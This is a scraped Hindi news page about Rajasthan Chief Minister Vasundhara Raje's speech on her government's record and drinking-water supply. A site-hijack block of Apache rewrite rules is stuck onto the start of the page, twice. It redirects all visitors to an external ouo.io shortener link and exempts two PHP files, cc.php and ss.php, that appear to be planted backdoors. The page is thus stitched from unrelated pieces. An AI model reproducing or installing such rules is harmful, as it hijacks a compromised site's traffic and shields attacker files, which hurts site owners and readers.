
RewriteEngine on RewriteCond %{REQUEST_URI} !^https://ouo.io/13ARhD8$ RewriteCond %{REQUEST_URI} !/(cc)\.php [NC] RewriteCond %{REQUEST_URI} !/(ss)\.php [NC] RewriteRule .* https://ouo.io/13ARhD8 [L,R=301]RewriteEngine on RewriteCond %{REQUEST_URI} !^https://ouo.io/13ARhD8$ RewriteCond %{REQUEST_URI} !/(cc)\.php [NC] RewriteCond %{REQUEST_URI} !/(ss)\.php [NC] RewriteRule .* https://ouo.io/13ARhD8 [L,R=301]
BREAKING NEWS
Total views:- 698
Previous Nextजयपुर। मुख्यमंत्री वसुंधरा राजे ने अपनी सरकार की उपलब्धियों को जनता के सामने रखा। राजे ने कहा कि किसी भी सरकार का आकलन उसके काम के आधार पर होना चाहिए और मुझे गर्व है कि हमारी सरकार ने विकास के वे काम किए हैं, जो 50 साल में नहीं हो पाए। उन्होंने कहा कि हमने जाति, क्षेत्र और अन्य किसी भेदभाव के बिना प्रदेश के हर हिस्से एवं हर वर्ग का समग्र विकास करने का प्रयास किया है।
राजे आज 8, सिविल लाइंस पर प्रदेश में हुए विकास कार्यों एवं कल्याणकारी बजट घोषणाओं के लिए आभार व्यक्त करने राज्य के विभिन्न क्षेत्रों से बड़ी संख्या में आए लोगों को संबोधित कर रही थीं। उन्होंने कहा कि राज्य सरकार ने प्रदेश को अग्रणी बनाने की हरसंभव कोशिश की है और उसी का नतीजा है कि आज राजस्थान देश में स्वाभिमान के साथ अग्रिम पंक्ति में खड़ा है।
मुख्यमंत्री ने कहा कि राजस्थान देश का ऐसा राज्य है जहां पानी की सबसे ज्यादा कमी है। इस विषम परिस्थिति के बावजूद हमारे जलदाय विभाग के कर्मचारियों ने रात-दिन काम कर पेयजल आपूर्ति को सुचारू बनाए रखा है। उन्होंने कहा कि आगामी गर्मी के मौसम में सुचारू पेयजल आपूर्ति के लिए हमें अभी से बेहतर प्रबंधन करना होगा और यह साबित करना होगा कि पानी की कमी वाला राज्य भी पेयजल आपूर्ति के मामले में मिसाल बन सकता है।
मुख्यमंत्री ने कहा कि प्रदेश के 10 लाख राज्य कर्मचारियों को मैंने अपना परिवार माना है। राज्य कर्मचारी प्रदेश की साढ़े सात करोड़ जनता की आकांक्षाओं को पूरा करने के लिए राज्य सरकार के साथ कदम से कदम मिलाकर जुटे हैं। हम सभी को मिलकर यह साबित करना है कि किसी भी परिस्थिति में हम प्रदेश की सेवा में पीछे नहीं रहेंगे। इस अवसर पर राजस्थान पीएचईडी तकनीकी कर्मचारी संघ के प्रदेश अध्यक्ष संतोष विजय सहित अन्य पदाधिकारी उपस्थित थे। संघ की सभी जिला शाखाओं के पदाधिकारियों ने मुख्यमंत्री का चुनरी ओढ़ाकर और मालाएं पहनाकर आभार व्यक्त किया।